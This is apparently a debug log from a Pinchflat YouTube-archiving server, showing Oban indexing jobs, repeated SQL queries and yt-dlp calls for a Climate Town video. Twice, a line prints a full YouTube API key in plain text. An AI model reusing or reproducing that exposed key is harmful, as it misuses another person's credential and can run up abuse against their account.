15:46:30.531 [debug] QUERY OK source="sources" db=0.2ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 15:46:30.531 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:30.531 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:30.531 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:30.531 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 15:46:30.532 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:30.532 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:30.642 [debug] QUERY OK source="media_items" db=0.7ms idle=110.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 15:46:30.644 [debug] QUERY OK source="media_items" db=1.2ms idle=111.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 15:46:30.644 [debug] QUERY OK source="tasks" db=0.1ms idle=112.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799808, 11, ~U[2026-02-10 21:46:30Z], ~U[2026-02-10 21:46:30Z]] 15:46:30.645 [info] {"args":{"id":11},"id":3799770,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":114043,"event":"job:stop","queue_time":499672,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:31.182 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFWTgmV5C84 --simulate --skip-download --output /downloads/Climate Town/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0a/b7/0ab7d4c1b56bea47249d143f05e23f1552b5bbb4e545d460d1898f28fbf04fc6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 15:46:31.183 [debug] QUERY OK source="sources" db=0.1ms idle=538.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 15:46:31.183 [debug] QUERY OK source="media_items" db=0.3ms idle=538.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 21:27:59Z], 28] 15:46:31.184 [debug] QUERY OK source="media_items" db=0.7ms idle=538.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Would it surprise you to learn that the oil and gas lobby was not very good at pandering to teenagers? Check out the full breakdown of Fuel-Less on our YouTube Channel\nFor the record, I was in a hurry to say 'louisville' and I pronounced it SUPER wrong and for this I am truly sorry. I don't think you're part of the devil's a$$hole, it was just for the vibe.", "The Fossil Fuel Propaganda I Couldn't Find", "98558f1e-cd42-4674-9434-ffad081792e6", "https://www.youtube.com/watch?v=XFWTgmV5C84", false, "XFWTgmV5C84", 28, [], 162, false, 0, "/downloads/Climate Town/2026-02-10 The Fossil Fuel Propaganda I Couldn't Find/The Fossil Fuel Propaganda I Couldn't Find [XFWTgmV5C84].mp4", false, true, 99, ~U[2026-02-10 21:27:59Z], ~U[2026-02-10 21:46:31Z], ~U[2026-02-10 21:46:31Z], "Would it surprise you to learn that the oil and gas lobby was not very good at pandering to teenagers? Check out the full breakdown of Fuel-Less on our YouTube Channel\nFor the record, I was in a hurry to say 'louisville' and I pronounced it SUPER wrong and for this I am truly sorry. I don't think you're part of the devil's a$$hole, it was just for the vibe.", "The Fossil Fuel Propaganda I Couldn't Find", "https://www.youtube.com/watch?v=XFWTgmV5C84", "XFWTgmV5C84", 28, 162, false, "/downloads/Climate Town/2026-02-10 The Fossil Fuel Propaganda I Couldn't Find/The Fossil Fuel Propaganda I Couldn't Find [XFWTgmV5C84].mp4", true, ~U[2026-02-10 21:27:59Z]] 15:46:31.184 [debug] QUERY OK source="sources" db=0.1ms idle=539.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 15:46:31.184 [debug] QUERY OK source="media_profiles" db=0.0ms idle=534.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:31.185 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1564183] 15:46:31.185 [info] Kicking off download for media item #1564183 (XFWTgmV5C84) 15:46:31.186 [debug] QUERY OK source="tasks" db=0.1ms idle=1.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799809, 1564183, ~U[2026-02-10 21:46:31Z], ~U[2026-02-10 21:46:31Z]] 15:46:31.186 [debug] QUERY OK source="media_items" db=0.2ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 15:46:31.187 [debug] QUERY OK source="sources" db=0.1ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 15:46:31.187 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:31.187 [debug] QUERY OK source="media_items" db=0.1ms idle=1.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1564183] 15:46:31.187 [info] No notification servers provided for source 28 15:46:31.187 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799810, 28, ~U[2026-02-10 21:46:31Z], ~U[2026-02-10 21:46:31Z]] 15:46:31.188 [info] {"args":{"id":28},"id":3799766,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":3758236,"event":"job:stop","queue_time":461688,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:31.191 [info] {"args":{"id":1564183},"id":3799809,"meta":{},"system_time":1770759991191599231,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 15:46:31.191 [debug] QUERY OK source="media_items" db=0.1ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564183] 15:46:31.191 [info] User scripts lifecyle file either not present or is empty. Skipping. 15:46:31.192 [debug] QUERY OK source="sources" db=0.0ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 15:46:31.192 [debug] QUERY OK source="media_profiles" db=0.0ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:31.192 [debug] QUERY OK source="media_items" db=0.1ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1564183] 15:46:31.193 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564183] 15:46:31.193 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:31.193 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:31.193 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:31.194 [debug] Running yt-dlp command for action: get_downloadable_status 15:46:31.195 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:31.195 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:31.195 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:31.195 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFWTgmV5C84 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ae/f4/aef4e53ed7515c45fbad986c335847decc8f45663161bbd96e0cd70c9e83fcea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:46:31.433 [info] {"args":{"id":27},"id":3799771,"meta":{},"system_time":1770759991433792865,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:31.434 [debug] QUERY OK source="sources" db=0.1ms idle=238.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 15:46:31.434 [debug] QUERY OK source="settings" db=0.0ms idle=238.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:31.434 [debug] QUERY OK source="media_profiles" db=0.0ms idle=239.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:31.434 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:31.434 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 15:46:31.434 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:31.434 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:31.505 [debug] QUERY OK source="media_items" db=0.7ms idle=70.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", 